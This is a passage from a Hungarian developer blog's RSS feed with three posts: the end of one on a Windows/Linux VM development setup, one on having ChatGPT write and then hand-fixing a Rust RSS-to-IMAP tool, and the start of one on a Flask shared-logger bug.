<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">Add-NetNatStaticMapping</span> <span class="hljs-literal">-NatName</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-Protocol</span> TCP <span class="hljs-literal">-ExternalIPAddress</span> <span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> <span class="hljs-literal">-InternalIPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span> <span class="hljs-literal">-InternalPort</span> <span class="hljs-number">8080</span> <span class="hljs-literal">-ExternalPort</span> <span class="hljs-number">8080</span>
</code></pre>
<p>Ez egy idő után elkezdett nem működni. Nem tudom mi történhetett vele, de némi kutakodás után találtam helyette egy másik parancsot.</p>
<pre><code class="hljs powershell">&gt; netsh interface portproxy add v4tov4 listenport=<span class="hljs-number">8080</span> listenaddress=<span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> connectport=<span class="hljs-number">8080</span> connectaddress=<span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span>
</code></pre>
<p>Így utólag belegondolva lehet, hogy egyszerűbb lett volna csak simán SSH port forwarding-ot használni. Micsoda megvilágosodások történnek itt bejegyzés írás közben.</p>
<h4>Ablakos alkalmazások</h4>
<p>A fizikai gépen fut egy <a href="https://sourceforge.net/projects/vcxsrv/">VcXsrv</a>, ami egy Windows-on futó X szerver. A virtuális Linux-on belül indíthatok vele ablakos alkalmazásokat, amiket Windows-os ablakokként lehet használni. Általában az aktuálisan használt IDE ennek a segítségével fut a virtuális gépen belül, mert úgy egyszerűbb elérni benne a Linux-os/Docker-es dolgokat és kevesebb gond van a fájl jogosultságok körül is.</p>
<h4>SSH</h4>
<p>Egy <a href="https://www.yubico.com/products/yubikey-5-overview/">YubiKey</a>-n tárolt GPG kulcsot használok SSH autentikációhoz. A <a href="https://www.gpg4win.org/">Gpg4win</a>-ben lévő GPG agent van felkonfigurálva, hogy egyrészt kezelje a YubiKey-t, másrészt kiajánlja a benne lévő kulcsot az SSH agent-ben:</p>
<pre class="file"><code>scdaemon.conf
</code></pre>
<pre><code>reader-port Yubico Yubi
pcsc-shared
disable-application piv
</code></pre>
<pre class="file"><code>gpg-agent.conf
</code></pre>
<pre><code>enable-ssh-support
enable-putty-support
</code></pre>
<p><a id="cite_ref-1"></a>SSH kliensnek PuTTY van használva (bár a Windows Terminal is egész ígéretes, de legutóbb még nem akart együttműködni a GPG agent-tel) és be van kapcsolva az agent forwarding<a href="#cite_note-1" class="note"><sup>[1]</sup></a>, hogy a virtuális gép is tudja használni a YubiKey-n lévő kulcsot.</p>
<p>Ezen kívül a Linux-os home könyvtáram van felcsatolva hálózati meghajtóként (<code>P:\</code>), hogy egyszerűbb legyen fájlokat mozgatni a két gép között.</p>
<h3>A virtuális gép</h3>
<p>Ez a rész elég fapados, egy szimpla Debian vagy Ubuntu szerver, amit Ansible segítségével húzok fel. SSH-zás után egy gyári beállításokkal rendelkező Bash fogad (néhány alias-tól eltekintve), ami mellé általában egy <a href="https://github.com/tmux/tmux#readme">Tmux</a>-ot indítok. Ha éppen olyan a hangulatom, akkor a <a href="https://github.com/powerline/powerline">Powerline</a> (és a hozzá tartozó <a href="https://github.com/powerline/fonts/tree/master/DejaVuSansMono">DejaVu Sans Mono</a> betűtípus) segítségével szépítem meg őket egy kicsit.</p>
<h4>Samba</h4>
<p>A hálózati meghajtó miatt kerül a gépre Samba, ami a <a href="https://www.google.com/search?hl=en&amp;q=samba%20performance%20tuning">neten talált teljesítmény növekedést ígérő beállításokkal</a> lett felturbózva:</p>
<pre class="file"><code>/etc/samba/smb.conf
</code></pre>
<pre><code>read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes
</code></pre>
<h4>Docker</h4>
<p>Végül, de nem utolsó sorban, a projektek miatt kerül rá még Docker is. Minden más vacak reményeink szerint Docker-en belül fog futni. Ha már Docker, érdemes egy pár szót ejteni a hálózati beállításairól.</p>
<p>Ha hagyjuk szabadon garázdálkodni, akkor van rá egy kicsi esély, hogy előbb-utóbb létrehoz egy olyan hálózatot, ami ütközik valamelyik másik helyi hálózatunkkal és elkezdenek majd emiatt furán működni a dolgok. Ennek megakadályozása érdekében érdemes valami ilyesmit felvenni a beállításai közé:</p>
<pre class="file"><code>/etc/docker/daemon.json
</code></pre>
<pre><code class="hljs json">{
  <span class="hljs-attr">"bip"</span>: <span class="hljs-string">"172.20.0.1/16"</span>,
  <span class="hljs-attr">"default-address-pools"</span>: [
    {<span class="hljs-attr">"base"</span>: <span class="hljs-string">"172.21.0.0/16"</span>, <span class="hljs-attr">"size"</span>: <span class="hljs-number">24</span>}
  ]
}
</code></pre>
<p>Így lehet ~250 hálózatunk, hálózatonként ~250 géppel, ami valószínűleg több, mint elég egy fejlesztői gépen, de a <code>default-address-pools</code> részbe fel lehet venni további tartományokat, ha mégis kifutnánk belőle.</p>
<p>Ezzel a tárlatvezetés végére is értünk, remélem élveztétek az utazást. Elég sok mindent érintettünk felületesen, de ez talán elég ahhoz, hogy el tudjatok indulni ezen a rögös úton.<br />
Azért így a végére érve talán már bevallhatom, hogy nem vagyok benne biztos, hogy jó szívvel tudnám bárkinek ajánlani ezt a felállást. Nekem egyelőre még elég kényelmes ahhoz, hogy ne váltsak, de azért nézelődök, hogy milyen alternatívák jöhetnének még szóba.</p>
<hr />
<h3>Jegyzetek</h3>
<p><a id="cite_note-1"></a>1. <a href="#cite_ref-1" class="note">↑</a> Szokták azt mondani, hogy az agent forwarding nem túl jó ötlet, mivel a socket elérhető lesz mások számára is a cél gépen, ha van elég jogosultságuk (pl. root). Ez a veszély esetünkben nem fenyeget.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Ezt dobta a gép</title>
            <link>https://deadlime.hu/2023/04/06/ezt-dobta-a-gep/</link>
            <pubDate>Wed, 05 Apr 2023 22:16:30 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[AI]]></category>
                    <category><![CDATA[Rust]]></category>
                    <category><![CDATA[email]]></category>
                    <category><![CDATA[Feed]]></category>
                    
            <guid isPermaLink="false">7276231eb2881f8e0c40a0796e899307</guid>
            <description>Programozzon helyettünk a ChatGPT</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/ai.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Ezt a képet a <a href="https://www.midjourney.com/">Midjourney</a> generálta nekünk</p>

<p>Egy ideje már motoszkált a fejemben egy ötlet, hogy hogyan lehetne az email fiókokat egy kicsit félrehasználni. Az alapja az, hogy az IMAP protokolon keresztül tetszőleges email-szerű dolgokat hozhatunk létre a saját fiókunkban, anélkül, hogy ténylegesen levelet küldtünk volna.</p>
<p>Például egy oldalon rányomunk egy &quot;Elteszem későbbre&quot; gombra, mire az email fiókunkban megjelenik egy olvasatlan email az oldal tartalmával. Vagy feliratkozunk oldalak RSS feed-jére és az új cikkek email-ként jelennek meg nálunk. Szóval amolyan adatbázis-féleségnek lehetne használni, amihez már létezik egy rakás kliens az elképzelhető összes platformra.</p>
<h3>Egy kis extra intelligencia</h3>
<p>Telt-múlt az idő, de a projektből csak nem lett semmi, míg egy napon a ChatGPT-vel (GPT-4 modell, de én csak Dave-nek hívtam) beszélgettem arról, hogy milyen szórakoztató hétvégi projekteket tudna ajánlani. Nem mozgatta meg a fantáziámat a válasza, de eszembe jutott, hogy van már nekem egy hétvégi projektem, amit meg kellene csinálni.</p>
<p>Rá is kérdeztem nála, hogy hogyan lehet Python-ban RSS feed-eket feldolgozni. Aztán arra, hogy hogyan lehet email üzeneteket létrehozni és elmenteni őket IMAP protokolon keresztül. A válaszok első ránézésre egész meggyőzőek voltak, úgyhogy megírattam vele a teljes projektet: csináljon email üzenetet egy RSS feed minden eleméből, amit aztán IMAP segítségével mentsen el egy email fiókba, mindezt természetesen Python nyelven.</p>
<p>Ezen a ponton átéltem egy kisebb egzisztenciális válságot, hogy mi szükség van még rám, csak kérdezzétek meg a ChatGPT-t, neki sokkal kevesebb ideig tartana megírni ezt a cikket is, én meg itt szerencsétlenkedek már órák óta.</p>
<p>De félre a borúlátással, végül úgy döntöttem, hogy írja újra az egészet Rust-ban és én majd megpróbálom lefuttatni. Az úgyis trendi dolog és még csak nem is értek hozzá, úgyhogy izgalmasabb is lesz.</p>
<h3>Indulhat a projekt</h3>
<p>Először is kaptam egy listát, hogy ezekre a dependenciákra lesz szükségem a <code>Cargo.toml</code> fájlomban:</p>
<pre><code class="hljs ini"><span class="hljs-section">[dependencies]</span>
<span class="hljs-attr">rss</span> = <span class="hljs-string">"1.10.0"</span>
<span class="hljs-attr">lettre</span> = <span class="hljs-string">"0.10.0-rc.3"</span>
<span class="hljs-attr">imap</span> = <span class="hljs-string">"3.0.0"</span>
<span class="hljs-attr">native-tls</span> = <span class="hljs-string">"0.2.8"</span>
<span class="hljs-attr">tokio</span> = { version = <span class="hljs-string">"1.0"</span>, features = [<span class="hljs-string">"full"</span>] }
</code></pre>
<p>Nagyjából stimmel, de az <code>imap</code>-ból nincs (még) <code>3.0.0</code> verzió, úgyhogy azt átírtam <code>3.0.0-alpha.10</code>-re, mert az volt épp a legfrissebb. Ha rajtam múlt volna, akkor inkább a legfrissebb stabil verziót használom mindenből, de nem azért fizetnek, hogy gondolkozzak (nem is fizetnek).</p>
<p>Következőnek jött az RSS feed letöltése és feldolgozása:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> rss::Channel;

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">parse_rss_feed</span></span>(url: &amp;<span class="hljs-built_in">str</span>) -&gt; <span class="hljs-built_in">Result</span>&lt;Channel, <span class="hljs-built_in">Box</span>&lt;<span class="hljs-keyword">dyn</span> std::error::Error&gt;&gt; {
    <span class="hljs-keyword">let</span> content = reqwest::get(url).<span class="hljs-keyword">await</span>?.bytes().<span class="hljs-keyword">await</span>?;
    <span class="hljs-keyword">let</span> channel = Channel::read_from(&amp;content[..])?;
    <span class="hljs-literal">Ok</span>(channel)
}
</code></pre>
<p>Itt panaszkodott a fordító, hogy ő ugyan nem tud semmit a <code>reqwest</code> modulról, úgyhogy ki kellett még egészítenem a <code>Cargo.toml</code>-t egy <code>reqwest = &quot;0.11.16&quot;</code> sorral.</p>
<p>A következő kódrészlet az email üzenet létrehozása az RSS feed elemből volt:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> lettre::message::{Header, Message, Mailbox};

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">create_email_from_entry</span></span>(entry: &amp;rss::Item, sender: &amp;<span class="hljs-built_in">str</span>, recipient: &amp;<span class="hljs-built_in">str</span>) -&gt; Message {
    <span class="hljs-keyword">let</span> body = <span class="hljs-built_in">format!</span>(<span class="hljs-string">"{}\n\nRead more at: {}"</span>, entry.description().unwrap_or_default(), entry.link().unwrap_or_default());
    Message::builder()
        .from(sender.parse().unwrap())
        .to(recipient.parse().unwrap())
        .subject(entry.title().unwrap_or_default())
        .header(Header::new(<span class="hljs-string">"Content-Type"</span>, <span class="hljs-string">"text/plain; charset=utf-8"</span>))
        .body(body)
        .unwrap()
}
</code></pre>
<p>A <code>Header</code> használata nem tetszett a fordítónak, mivel az szerinte privát. A <code>Mailbox</code> pedig feleslegesen van behúzva. Szerencsére <code>text/plain</code> tartalomra van beépített támogatás, úgyhogy végül erre az eredményre jutottam:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> lettre::message::{header::ContentType, Message};

<span class="hljs-ignore">fn create_email_from_entry(entry: &amp;rss::Item, sender: &amp;str, recipient: &amp;str) -&gt; Message {</span>
<span class="hljs-ignore">    let body = format!("{}\n\nRead more at: {}", entry.description().unwrap_or_default(), entry.link().unwrap_or_default());</span>
<span class="hljs-ignore">    Message::builder()</span>
<span class="hljs-ignore">        .from(sender.parse().unwrap())</span>
<span class="hljs-ignore">        .to(recipient.parse().unwrap())</span>
<span class="hljs-ignore">        .subject(entry.title().unwrap_or_default())</span>
        .header(ContentType::TEXT_PLAIN)
<span class="hljs-ignore">        .body(body)</span>
<span class="hljs-ignore">        .unwrap()</span>
}
</code></pre>
<p>Aztán jött az email létrehozása a fiókban IMAP protokolon keresztül:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> imap::Client;
<span class="hljs-keyword">use</span> native_tls::TlsConnector;

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">save_emails_to_mailbox</span></span>(
    imap_server: &amp;<span class="hljs-built_in">str</span>,
    user_email: &amp;<span class="hljs-built_in">str</span>,
    password: &amp;<span class="hljs-built_in">str</span>,
    mailbox: &amp;<span class="hljs-built_in">str</span>,
    messages: <span class="hljs-built_in">Vec</span>&lt;Message&gt;,
) -&gt; <span class="hljs-built_in">Result</span>&lt;(), <span class="hljs-built_in">Box</span>&lt;<span class="hljs-keyword">dyn</span> std::error::Error&gt;&gt; {
    <span class="hljs-keyword">let</span> tls = TlsConnector::builder().build()?;
    <span class="hljs-keyword">let</span> client = Client::secure_connect((imap_server, <span class="hljs-number">993</span>), imap_server, &amp;tls)?;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut</span> imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;

    imap_session.select(mailbox)?;

    <span class="hljs-keyword">for</span> message <span class="hljs-keyword">in</span> messages {
        <span class="hljs-keyword">let</span> message_string = message.formatted();
        imap_session.append(mailbox, message_string.as_bytes())?;
    }

    imap_session.logout()?;
    <span class="hljs-literal">Ok</span>(())
}
</code></pre>
<p>Itt azért van baj. A <code>Client::secure_connect</code> nem létezik, a <code>message_string</code>-nek nincs <code>as_bytes</code> metódosa és az <code>append(...)</code> után valamiért nem lehet <code>?</code>-et írni. Ha értenék a Rust-hoz, biztos meg tudnám magyarázni, hogy miért, de ismerve a helyzetemet legyen elég annyi, hogy így már lefordult:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> imap::ClientBuilder;

<span class="hljs-ignore">async fn save_emails_to_mailbox(</span>
<span class="hljs-ignore">    imap_server: &amp;str,</span>
<span class="hljs-ignore">    user_email: &amp;str,</span>
<span class="hljs-ignore">    password: &amp;str,</span>
<span class="hljs-ignore">    mailbox: &amp;str,</span>
<span class="hljs-ignore">    messages: Vec&lt;Message&gt;,</span>
<span class="hljs-ignore">) -&gt; Result&lt;(), Box&lt;dyn std::error::Error&gt;&gt; {</span>
    <span class="hljs-keyword">let</span> client = ClientBuilder::new(imap_server, <span class="hljs-number">993</span>).native_tls()?;
<span class="hljs-ignore">    let mut imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;</span>

<span class="hljs-ignore">    imap_session.select(mailbox)?;</span>

<span class="hljs-ignore">    for message in messages {</span>
<span class="hljs-ignore">        let message_string = message.formatted();</span>
        imap_session.append(mailbox, message_string.as_slice());
<span class="hljs-ignore">    }</span>

<span class="hljs-ignore">    imap_session.logout()?;</span>
<span class="hljs-ignore">    Ok(())</span>
<span class="hljs-ignore">}</span>
</code></pre>
<p>És végül, de nem utolsó sorban a <code>main()</code> függvény, ami összedrótozza ezt az egészet:</p>
<pre><code class="hljs rust"><span class="hljs-meta">#[tokio::main]</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() -&gt; <span class="hljs-built_in">Result</span>&lt;(), <span class="hljs-built_in">Box</span>&lt;<span class="hljs-keyword">dyn</span> std::error::Error&gt;&gt; {
    <span class="hljs-keyword">let</span> rss_url = <span class="hljs-string">"https://example.com/rss_feed.xml"</span>;
    <span class="hljs-keyword">let</span> imap_server = <span class="hljs-string">"imap.gmail.com"</span>;
    <span class="hljs-keyword">let</span> user_email = <span class="hljs-string">"your_email@example.com"</span>;
    <span class="hljs-keyword">let</span> password = <span class="hljs-string">"your_password"</span>;
    <span class="hljs-keyword">let</span> mailbox = <span class="hljs-string">"INBOX"</span>;

    <span class="hljs-keyword">let</span> channel = parse_rss_feed(rss_url).<span class="hljs-keyword">await</span>?;

    <span class="hljs-keyword">let</span> messages: <span class="hljs-built_in">Vec</span>&lt;_&gt; = channel
        .items()
        .iter()
        .map(|entry| create_email_from_entry(entry, user_email, user_email))
        .collect();

    save_emails_to_mailbox(imap_server, user_email, password, mailbox, messages).<span class="hljs-keyword">await</span>?;

    <span class="hljs-literal">Ok</span>(())
}
</code></pre>
<p>Ebben nem talált a fordító semmi hibát, viszont előjött egy új warning az előző kódból, hogy az <code>append(...)</code> által visszaadott <code>AppendCmd</code>-t használnunk kellene. Ebből arra következtettem, hogy valami még nem kerek és végül erre jutottam:</p>
<pre><code class="hljs rust">imap_session.append(mailbox, message_string.as_slice()).finish()?;
</code></pre>
<p>Öröm és boldogság, visszatért a sor végi <code>?</code> és a kód is lefordult gond nélkül. Még a <code>main()</code>-ben lévő változókat átírtam megfelelő értékekre, megfuttattam a kapott programot és... működött!</p>
<h3>A szép új világ</h3>
<p>Mondanám, hogy kár volt az ember munkáját egy gépre bízni, de egyrészt még így is rengeteg időt meg lehetett spórolni vele, másrészt a ChatGPT valószínűleg megjavította volna saját maga is, ha visszamásolgatom neki a hibaüzeneteket, amiket kapok.</p>
<p>Utána beszélgettünk még egy kicsit, hogy hogyan futtatná a programot systemd, Supervisor vagy éppen Docker segítségével, hogy hogyan lehetne monitorozni egy ilyen programot, arról, hogy milyen config fájl formátumot ajánlana hozzá, de ha erre is kíváncsiak vagytok, akkor azt már tőle kell megkérdezni, biztos szívesen elmeséli.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Egy hiba élete</title>
            <link>https://deadlime.hu/2023/02/03/egy-hiba-elete/</link>
            <pubDate>Fri, 03 Feb 2023 10:06:12 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Python]]></category>
                    <category><![CDATA[Flask]]></category>
                    <category><![CDATA[logolás]]></category>
                    
            <guid isPermaLink="false">ccac91b863fad2b00ea54b2e77e3f208</guid>
            <description>Hogyan logoljunk rosszul Flask-ben</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/flasks.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Korábbi döntéseink egész meglepő és váratlan módon tudnak hátba szúrni minket a jelenben. Nincs ez másképp kódunk természetes evolúciója során sem. Csak az idő a megmondhatója annak, hogy a ma meghozott döntéseink a jövőben jónak vagy rossznak fognak bizonyulni.<br />
Persze vannak követhető &quot;szokások&quot;, &quot;módszertanok&quot;, &quot;minták&quot; és más egyebek, amik követése az esetek többségében jó eredményeket fog hozni, de néha még így is sikerül elég kreatívnak maradni ahhoz, hogy lábon lőjük magunkat.</p>
<p>A mai napon ezt Python és <a href="https://flask.palletsprojects.com/">Flask</a> segítségével próbáljuk majd elkövetni, miközben egy nagyon bonyolult &quot;Hello World&quot; alkalmazást bővítgetünk.</p>
<h3>Egy hiba születése</h3>
<p>Elkezdődik hát a projekt, mindenki hatalmas izgalomban, végre egy üres lapot írhatunk teli, nem fog a fejlesztés a korábbi (rossznak bizonyult) döntéseink súlya alatt vánszorogni. El is készül az első változat.</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HelloView</span><span class="hljs-params">(MethodView)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get</span><span class="hljs-params">(self)</span>:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">'Hello World\n'</span>

app = Flask(__name__)
app.add_url_rule(<span class="hljs-string">'/'</span>, view_func=HelloView.as_view(<span class="hljs-string">'hello'</span>))

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    app.run()
</code></pre>
<p>Nem sokkal később rájövünk, hogy egy ilyen bonyolult alkalmazás nem létezhet logolás nélkül, így utólag azt is hozzárakjuk.</p>
<pre><code class="hljs python"><span class="hljs-ignore">class HelloView(MethodView):</span>
    logger = logging.getLogger(<span class="hljs-string">'view.hello'</span>)

<span class="hljs-ignore">    def get(self):</span>
        self.logger.info(<span class="hljs-string">'hello from view'</span>)
<span class="hljs-ignore">        return 'Hello World\n'</span>
</code></pre>
<p>Eddig minden szép és jó, az alkalmazást meghívva az elvárt működést tapasztaljuk:</p>
<pre class="console"><code>$ curl localhost:8080
Hello World
</code></pre>
<p>És a logok között is megjelenik az üzenetünk:</p>
<pre><code class="hljs json">{<span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>, <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from view"</span>}
</code></pre>
<p>De ahogy telik az idő és a követelmények változnak, felmerül az igény, hogy jó lenne, ha a logsorokhoz tudnánk extra adatokat hozzárakni. Egy ilyen adat lehet mondjuk a kérésekhez generált egyedi azonosító.</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ContextLogger</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, logger)</span>:</span>
        self.__logger = logger
        self.__context = {}

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_context</span><span class="hljs-params">(self, key, value)</span>:</span>
        self.__context[key] = value

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">info</span><span class="hljs-params">(self, message)</span>:</span>
        self.__logger.info(message, extra=self.__context)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_request_id</span><span class="hljs-params">(logger)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decorator</span><span class="hljs-params">(f)</span>:</span>
<span class="hljs-meta">        @wraps(f)</span>
        <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decorated_function</span><span class="hljs-params">(self)</span>:</span>
            request_id = uuid.uuid4()
            logger.add_context(<span class="hljs-string">'request_id'</span>, request_id)
            logger.info(<span class="hljs-string">f'hello from middleware (<span class="hljs-subst">{request_id}</span>)'</span>)
            <span class="hljs-keyword">return</span> f(self, request_id)
        <span class="hljs-keyword">return</span> decorated_function
    <span class="hljs-keyword">return</span> decorator

<span class="hljs-ignore">class HelloView(MethodView):</span>
    logger = ContextLogger(logging.getLogger(<span class="hljs-string">'view.hello'</span>))

<span class="hljs-meta">    @add_request_id(logger)</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get</span><span class="hljs-params">(self, request_id)</span>:</span>
        time.sleep(<span class="hljs-number">0.01</span>)
<span class="hljs-ignore">        self.logger.info(f'hello from view ({request_id})')</span>
<span class="hljs-ignore">        return 'Hello World\n'</span>
</code></pre>
<p>A valóságban a <code>ContextLogger</code> egy fokkal bonyolultabb lenne, megvalósítaná a többi logolással kapcsolatos függvényt (<code>warn</code>, <code>error</code>, stb.) és le kellene kezelnie a kívülről jövő <code>extra</code> paramétereket is.</p>
<p>A <code>sleep</code> hívás a view osztály által elvégzett egyéb munkákat hivatott szimulálni. Mondjuk hátra kell még szólnia valami backend service felé, hogy összeszedje az adatokat, amik a &quot;Hello World&quot; megjelenítéséhez feltétlenül kellenek, vagy valami ilyesmi. Mindenesetre az alkalmazás továbbra is jól működik.</p>
<pre><code class="hljs json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from middleware (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"5f428aa7-cf68-4ae4-a003-2b95085f7f7d"</span>
}
{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from view (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"5f428aa7-cf68-4ae4-a003-2b95085f7f7d"</span>
}
</code></pre>
<p>Vagy mégsem? Mi történik akkor, ha megpróbálunk egyszerre több kérést küldeni?</p>
<pre class="console"><code>$ curl localhost:8080 &amp; curl localhost:8080 &amp;
</code></pre>
<pre><code class="hljs json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from middleware (36d1627c-2159-4865-92ed-c63969efde47)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"36d1627c-2159-4865-92ed-c63969efde47"</span>
}
{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from middleware (78062d9e-bb3a-4a74-a24c-e0ba22be6660)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"78062d9e-bb3a-4a74-a24c-e0ba22be6660"</span>
}
{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from view (36d1627c-2159-4865-92ed-c63969efde47)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"78062d9e-bb3a-4a74-a24c-e0ba22be6660"</span>
}
{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"view.hello"</span>,
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"hello from view (78062d9e-bb3a-4a74-a24c-e0ba22be6660)"</span>,
  <span class="hljs-attr">"request_id"</span>: <span class="hljs-string">"78062d9e-bb3a-4a74-a24c-e0ba22be6660"</span>
}
</code></pre>
<p>A middleware logok jól néznek ki, de a view logjaiban mindkét kérésnél ugyanaz a <code>request_id</code> szerepel. Ráadásul a <code>message</code>-ben a jó érték van. Mi a f... ene.</p>
<h3>A gyors javítás</h3>
<p>A hibát az okozza, hogy a <code>logger</code> változónk a <code>HelloView</code> osztályban statikus, így csak egyszer inicializálódik, amikor az alkalmazás elindul és az osztályt tartalmazó modulunk betöltődik. Mi arra számítottunk, hogy kérésenként más-más logger osztályunk lesz. Vagy még inkább bele se gondoltunk. A logolás eddig is működött, utána is működött, nem lesz itt semmi baj.</p>
<p>Egy lehetséges javítása a problémának az lehet, hogy a <code>logger</code>-t a konstruktorban inicializáljuk, de így már nem tudjuk egyszerűen átadni a middleware-nek (amire azért lehet szükség, hogy ugyanolyan névvel logoljon a view és az előtte futó middleware).</p>
<pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_request_id</span><span class="hljs-params">()</span>:</span>
<span class="hljs-ignore">    def decorator(f):</span>
<span class="hljs-ignore">        @wraps(f)</span>
<span class="hljs-ignore">        def decorated_function(self):</span>
<span class="hljs-ignore">            request_id = uuid.uuid4()</span>
            self.logger.add_context(<span class="hljs-string">'request_id'</span>, request_id)
            self.logger.info(<span class="hljs-string">f'hello from middleware (<span class="hljs-subst">{request_id}</span>)'</span>)
<span class="hljs-ignore">            return f(self, request_id)</span>
<span class="hljs-ignore">        return decorated_function</span>
<span class="hljs-ignore">    return decorator</span>

<span class="hljs-ignore">class HelloView(MethodView):</span>
    logger = <span class="hljs-literal">None</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.logger = ContextLogger(logging.getLogger(<span class="hljs-string">'view.hello'</span>))

<span class="hljs-meta">    @add_request_id()</span>
<span class="hljs-ignore">    def get(self, request_id):</span>
<span class="hljs-ignore">        time.sleep(0.01)</span>
<span class="hljs-ignore">        self.logger.info(f'hello from view ({request_id})')</span>
<span class="hljs-ignore">        return 'Hello World\n'</span>
</code></pre>
<p>A dekorátor eléri az általa dekorált függvény minden paraméterét, így a <code>self</code>-et is, amin keresztül továbbra is elérhetjük a <code>logger</code>-t. Nem túl elegáns, de működik. Erről szólnak a gyors javítások, nem?</p>
<h3>Egy maradandóbb megoldás</h3>
<p>A Flask-ben létezik egy <a href="https://flask.palletsprojects.com/en/2.2.x/reqcontext/">Request Context</a> nevezetű dolog, a <code>request</code> változó mindig az éppen feldolgozás alatt lévő kérésre fog vonatkozni, szóval ha esetleg ki tudnánk egészíteni a saját adatainkkal, akkor megoldódna a probléma. Néhány Flask osztály felüldefiniálásával ezt meg is tudjuk oldani.</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyRequest</span><span class="hljs-params">(Request)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, environ, populate_request=True, shallow=False)</span>:</span>
        super().__init__(environ, populate_request, shallow)
        self.__context = {}

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">context</span><span class="hljs-params">(self)</span>:</span>
        <span class="hljs-keyword">return</span> self.__context

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_context</span><span class="hljs-params">(self, key, value)</span>:</span>
        self.__context[key] = value

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyFlask</span><span class="hljs-params">(Flask)</span>:</span>
    request_class = MyRequest

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RequestContextLogger</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, logger)</span>:</span>
